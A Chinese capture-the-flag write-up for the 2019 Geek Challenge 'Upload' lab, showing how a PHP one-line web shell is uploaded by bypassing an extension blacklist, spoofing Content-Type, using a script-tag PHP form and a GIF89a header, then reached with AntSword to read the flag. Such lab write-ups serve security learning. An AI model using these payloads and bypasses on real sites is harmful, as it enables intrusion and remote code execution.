[极客大挑战 2019]Upload 思路及解法
大家好你们可以叫我凌是个16岁的网络安全学习者。今天我们来刷的题目是 [极客大挑战 2019]Upload废话不多说我们直接开始吧解题思路我们先启动靶场进入靶场发现有个文件上传的功能初步判断存在文件上传漏洞。我们依旧不着急先右击查看源代码看看有没有其他什么线索。!DOCTYPE html html langzh style .button { background-color: #5DADE2; /* Green */ border: none; color: white; padding: 8px 20px; text-align: center; text-decoration: none; display: inline-block; font-size: 12px; margin: 4px 2px; cursor: pointer; -webkit-transition-duration: 0.4s; /* Safari */ transition-duration: 0.4s; border-radius: 8px; } .button:hover { background-color: #555555; color: white; } /style head meta charsetUTF-8 title上传头像/title link relstylesheet typetext/css hrefcss/reset.css link relstylesheet hrefcss/demo.css / link relstylesheet hrefdist/styles/Vidage.css / /head body div classVidage div classVidage__image/div video idVidageVideo classVidage__video preloadmetadata loop autoplay muted source srcvideos/bg.webm typevideo/webm source srcvideos/bg.mp4 typevideo/mp4 /video div classVidage__backdrop/div /div form actionupload_file.php methodpost enctypemultipart/form-data /br/br/br/br/br/br/br/br/br/br/br/br/br/br/br div aligncenter label forfile stylefont:20px Georgia,serif;图片/label input typefile namefile idfile input typesubmit namesubmit value提交 classbutton /div /form script srcdist/scripts/Vidage.min.js/script script new Vidage(#VidageVideo); /script div styleposition: absolute;bottom: 0;width: 95%;p aligncenter stylefont:italic 15px Georgia,serif; Syclover cl4y/p/div /body /html观察代码发现 input typefile namefile idfile 没有设置 accept 属性也未进行任何前端文件类型或大小校验。可能导致用户可以上传任意类型的文件。没有 JavaScript 对文件内容或后缀进行限制完全依赖后端处理。那么我们就上传个 一句话木马 尝试入侵。?php eval($_POST[cmd]); ?为以防万一我们先将后缀修改为 jpg再使用 Burp 进行截包重新改为 php。拦截到请求包了我们现在修改请求包看看效果Content-Disposition: form-data; namefile; filenamecmd.php Content-Type: image/jpeg发现被拦截了猜测后端有黑名单校验不能上传 php 文件。那我们就使用 php 的后缀变种来尝试进行上传。常见变种.php最标准的PHP文件后缀。.phtml常被用作PHP与HTML混合的模板文件。.php3, .php4, .php5为特定PHP版本设计的后缀一些旧服务器为兼容性会保留解析。.phps通常用于显示带语法高亮的PHP源码在某些配置下可能被当作普通PHP脚本执行。这里我们就直接采用 “phtml” 来测试依旧拦截的化就换成其他的依次尝试。这次显示不是图片那我们就拦截请求包将 Content-Type 修改为 image/jpeg 尝试突围。Content-Disposition: form-data; namefile; filenamecmd.phtml Content-Type: image/jpeg看来这次绕过成功了不过文件内容包含 “?” 被拦截了那我们就修改文件内容进行绕过。script languagephpeval($_POST[cmd]);/script这样子虽然是 HTML 的格式但是却是 PHP 代码现在继续尝试绕过。又被拦截了看来文件内容得像图片才可以。这时候我想起了当时我的老师说“图片文件都有个特点不同图片会以不同文件签名的方式来说明这是图片”。GIF 以 GIF87a 和 GIF89a 这些 ASCII 字符开头。JPEGFF D8 FF十六进制不以 ASCII 文本开头。PNG89 50 4E 47 0D 0A 1A 0A十六进制以非打印字符0x89开头后跟“PNG”。BMP42 4D十六进制- “BM”ASCII。WebP52 49 46 46“RIFF”后跟大小然后 57 45 42 50“WEBP”。那我们就在文件开头加上 GIF87a 来欺骗目标这是个 GIF 图片。GIF89a script languagephpeval($_POST[cmdl]);/script很好这样子我们就成功上传完成了多数上传的文件应该会有个 “upload” 文件夹来存放上传的文件那我们就尝试访问该文件看看。https://xxx/upload/cmd.phtml文件成功上传接下来使用蚁剑尝试进行连接成功进来了不过发现前人还有尝试使用文件名的 SQL注入 来突围。那我在这里说明下这种情况通常以上攻击是没有用的。对于文件名的SQL注入这里并没有拼接到数据库当中一般 文件名的SQL注入 出现在类似于“图书管理系统”这种需要存储文件名的地方而这里只是单纯的进行上传文件并没有线索。面对这种题目我只会在走投无路的情况下尝试这种方法。那么我们接下来就开始寻找 flag 了在根目录下发现疑似 flag 文件。直接访问成功拿下 flag。CTF2{f2e144e6-5f92-44a3-936a-c15ba0b9c317}靶场小结考点标签文件上传、前端绕过、后缀黑名单绕过、Content-Type绕过、文件内容过滤、图片马核心教训1. 前端无校验是第一步突破口input 没有 accept 属性也没有 JS 校验意味着任意文件类型都可以提交。这是文件上传漏洞的最初信号。2. 后缀黑名单绕过的经典套路.php 被拦就换 .phtml、.php3、.php5、.pht 等可执行后缀。3. Content-Type 只是摆设后端检查 Content-Type: image/jpeg 只是看了眼请求头抓包改成 image/jpeg 直接绕过。4. 文件内容过滤的应对——图片马当 ? 被拦截时用 script languagephp 同样可以执行 PHP 代码。如果还不够加上 GIF89a 文件头让后端以为是真正的 GIF 图片。图片马的原理就是利用文件头签名欺骗后端同时保留可执行的 PHP 代码。5. 上传后的文件路径推测多数上传功能会将文件放在 /upload/ 目录下文件名保持不变或可预测。用 AntSword 连接后在根目录下找 flag 文件是标准操作。解题关键步骤1. 信息收集查看前端源码确认无 accept 属性和 JS 校验。2. 上传木马测试上传 cmd.php被拦截确认后端有后缀黑名单。3. 后缀绕过换 cmd.phtml发现不是图片确认还有 MIME 检查。4. MIME 绕过抓包改 Content-Type: image/jpeg成功上传但被拦截 ?。5. 文件内容绕过用 script languagephp 替代 ?php又被拦。6. 图片马绕过文件头加 GIF89a成功上传 cmd.phtml。7. 连接与拿 FlagAntSword 连接 /upload/cmd.phtml在根目录找到 flag 文件直接读取。

相关新闻

HDRP Custom Pass实现游戏透视效果:深度、模板与色彩混合实战

HDRP Custom Pass实现游戏透视效果:深度、模板与色彩混合实战

1. 项目概述:当“透视”成为游戏叙事的新语言在游戏开发,尤其是高品质的3D项目中,视觉效果的创新往往直接决定了玩家的沉浸感与叙事表达的深度。我们早已不满足于简单的材质和光照,而是追求那些能打破常规、传递特定信息的“魔法”…

2026/7/11 7:54:16阅读更多 →
面向精密伺服控制的高密度ADC数据采集模块设计:32路并发采样与DMA协同传输方案详解

面向精密伺服控制的高密度ADC数据采集模块设计:32路并发采样与DMA协同传输方案详解

在伺服控制系统中,模拟信号的采集精度与实时性直接决定了控制环路的性能上限。无论是特种设备中的姿态控制执行机构、航天航空领域的推力矢量调节系统,还是深井勘探中井下工具的伺服驱动装置,都要求数据采集模块具备高密度通道、高精度转换与…

2026/7/11 7:49:16阅读更多 →
GitHub Profile 数据可视化:3类统计卡片(Stars、语言、WakaTime)配置与样式自定义

GitHub Profile 数据可视化:3类统计卡片(Stars、语言、WakaTime)配置与样式自定义

GitHub Profile 数据可视化:3类统计卡片(Stars、语言、WakaTime)配置与样式自定义 在技术社区中,GitHub 个人主页已成为开发者展示技术实力的重要窗口。一个精心设计的 GitHub Profile 不仅能直观呈现你的技术栈和活跃度&#xff…

2026/7/11 7:49:16阅读更多 →
XUnity.AutoTranslator终极指南:5分钟解锁Unity游戏多语言自由

XUnity.AutoTranslator终极指南:5分钟解锁Unity游戏多语言自由

XUnity.AutoTranslator终极指南:5分钟解锁Unity游戏多语言自由 【免费下载链接】XUnity.AutoTranslator 项目地址: https://gitcode.com/gh_mirrors/xu/XUnity.AutoTranslator 你是否因为语言障碍而错过了许多精彩的Unity游戏?XUnity.AutoTransl…

2026/7/11 8:54:20阅读更多 →
为什么你的ChatGPT总写错Excel公式?揭秘Excel语法理解偏差率高达68%的底层逻辑及3类精准Prompt校准法

为什么你的ChatGPT总写错Excel公式?揭秘Excel语法理解偏差率高达68%的底层逻辑及3类精准Prompt校准法

更多请点击: https://kaifayun.com 第一章:为什么你的ChatGPT总写错Excel公式?揭秘Excel语法理解偏差率高达68%的底层逻辑及3类精准Prompt校准法 ChatGPT在生成Excel公式时出现错误并非偶然。根据微软研究院与斯坦福HAI联合开展的2024年大模…

2026/7/11 8:54:20阅读更多 →
Xilinx DMA 方案选型指南:3 种场景下 PS DMA vs AXI DMA vs XDMA 性能与资源对比

Xilinx DMA 方案选型指南:3 种场景下 PS DMA vs AXI DMA vs XDMA 性能与资源对比

Xilinx DMA 方案深度选型指南:从架构设计到性能优化实战在异构计算架构中,数据搬运效率往往成为系统性能的瓶颈。Xilinx平台提供的三种DMA解决方案——PS端硬核DMA、PL端AXI DMA以及PCIe XDMA,各自针对不同的传输场景进行了专门优化。本文将基…

2026/7/11 8:54:20阅读更多 →
为什么你的少样本提示词总在第3轮崩塌?——NLP老兵20年踩坑总结的7个隐性陷阱与秒级调试法

为什么你的少样本提示词总在第3轮崩塌?——NLP老兵20年踩坑总结的7个隐性陷阱与秒级调试法

更多请点击: https://intelliparadigm.com 第一章:少样本提示词失效的临界现象与本质归因 当少样本提示(Few-shot Prompting)中示例数量低于某一阈值时,模型输出质量常出现非线性骤降——这种突变并非渐进退化&#x…

2026/7/11 8:54:20阅读更多 →
新手向CNVD提交漏洞报告必避的5大常见坑与实战指南

新手向CNVD提交漏洞报告必避的5大常见坑与实战指南

1. 项目概述:从“踩坑”到“避坑”的必经之路 刚接触网络安全,尤其是想为国内安全社区贡献一份力量的新手朋友们,估计都绕不开“CNVD”这个平台。CNVD,全称国家信息安全漏洞共享平台,是国内最权威、影响力最大的漏洞收…

2026/7/11 8:54:20阅读更多 →
OpenClaw不是硬件:本地智能体框架的轻量化部署指南

OpenClaw不是硬件:本地智能体框架的轻量化部署指南

1. 项目概述:OpenClaw(小龙虾)不是硬件,而是运行在普通设备上的智能体框架“OpenClaw(小龙虾)硬件需要达到什么级别?”——这个问题本身藏着一个关键误解。我第一次看到这个标题时也愣了一下&am…

2026/7/11 8:49:20阅读更多 →
从GitHub安全案例解析常见漏洞与防护实践

从GitHub安全案例解析常见漏洞与防护实践

1. 项目概述:从GitHub Trending看安全实战 最近在GitHub Trending上看到一个项目,叫 skills4/skills ,它因为一些安全漏洞案例被大家讨论。这其实是一个挺典型的场景:一个旨在展示或教授某种技能的仓库,本身却成了安…

2026/7/10 12:10:00阅读更多 →
MLT 2026启示:因果推理与概率建模驱动下一代LLM应用

MLT 2026启示:因果推理与概率建模驱动下一代LLM应用

# MLT 2026启示:因果推理与概率建模驱动下一代LLM应用## 一、背景与挑战:从“黑箱预测”到“可信推理”2026年6月,第7届机器学习与趋势国际会议(MLT 2026)将在悉尼召开。会议议程中,“因果与可解释机器学习…

2026/7/10 12:29:21阅读更多 →
通达OA SQL注入漏洞深度剖析:从手工注入到自动化利用与防御

通达OA SQL注入漏洞深度剖析:从手工注入到自动化利用与防御

1. 项目概述与漏洞背景最近在梳理一些历史OA系统的安全风险时,通达OA v11.6版本中的一个老漏洞又进入了我的视线。这个漏洞位于/general/bi_design/appcenter/report_bi.func.php文件中,是一个典型的SQL注入点。虽然这个漏洞的利用方式看起来并不复杂&am…

2026/7/10 4:59:05阅读更多 →
Premiere Pro 2025安装失败原因与AGSIS验证绕过指南

Premiere Pro 2025安装失败原因与AGSIS验证绕过指南

1. 为什么2025版PR安装比以往更“磨人”?——从弹窗警告到路径陷阱的真实处境 Premiere Pro 2025版不是简单的一次版本迭代,它是一道分水岭。我从去年底开始帮影视工作室、高校剪辑实验室和自由职业者部署2025环境,累计处理了137台设备&#…

2026/7/11 0:03:43阅读更多 →
5款实用macOS系统优化工具:让你的Mac运行更流畅更高效

5款实用macOS系统优化工具:让你的Mac运行更流畅更高效

5款实用macOS系统优化工具:让你的Mac运行更流畅更高效 【免费下载链接】open-source-mac-os-apps 🚀 Awesome list of open source applications for macOS. https://t.me/s/opensourcemacosapps 项目地址: https://gitcode.com/gh_mirrors/op/open-so…

2026/7/11 0:03:43阅读更多 →
5分钟完全掌握:ComfyUI ControlNet预处理器终极使用指南

5分钟完全掌握:ComfyUI ControlNet预处理器终极使用指南

5分钟完全掌握:ComfyUI ControlNet预处理器终极使用指南 【免费下载链接】comfyui_controlnet_aux ComfyUIs ControlNet Auxiliary Preprocessors 项目地址: https://gitcode.com/gh_mirrors/co/comfyui_controlnet_aux 想要让AI图像生成真正听从你的指挥吗&…

2026/7/11 0:03:43阅读更多 →
YOLOv8推理性能优化:从1.2FPS到35FPS的全链路加速实践

YOLOv8推理性能优化:从1.2FPS到35FPS的全链路加速实践

如果你在部署 YOLOv8 时,发现推理速度只有可怜的 1-2 FPS,而别人的演示视频却能跑到 30 FPS 以上,那么问题很可能不在模型本身,而在于你的整个处理链路。很多开发者拿到一个训练好的 YOLOv8 模型后,会直接使用官方示例…

2026/7/10 13:39:09阅读更多 →
Coze与Dify对比指南:低代码AI应用开发从入门到实战

Coze与Dify对比指南:低代码AI应用开发从入门到实战

1. 从零到一:为什么你需要了解 Coze 和 Dify?如果你对 AI 应用开发感兴趣,但一看到“大模型”、“智能体”、“工作流”这些词就头疼,觉得门槛太高,那这篇文章就是为你准备的。很多开发者,包括我自己&#…

2026/7/10 22:20:33阅读更多 →
AI生图工具怎么选?2026年6月版实测对比

AI生图工具怎么选?2026年6月版实测对比

做自媒体的朋友应该都有体会:配图一直是个让人头疼的问题。2026年,AI生图工具已经非常成熟了,但工具太多反而不知道怎么选。以下是截至2026年6月我对主流AI生图工具的实测对比。Midjourney V8.1:速度之王2026年6月11日&#xff0c…

2026/7/10 17:29:22阅读更多 →